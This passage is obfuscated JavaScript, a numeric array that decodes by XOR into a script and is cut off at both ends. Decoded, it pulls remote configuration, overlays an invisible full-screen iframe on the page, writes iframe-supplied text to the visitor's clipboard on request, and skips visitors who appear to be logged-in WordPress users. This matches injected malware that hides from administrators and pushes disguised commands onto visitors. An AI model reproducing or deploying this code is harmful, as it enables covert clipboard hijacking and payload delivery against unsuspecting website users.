,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,8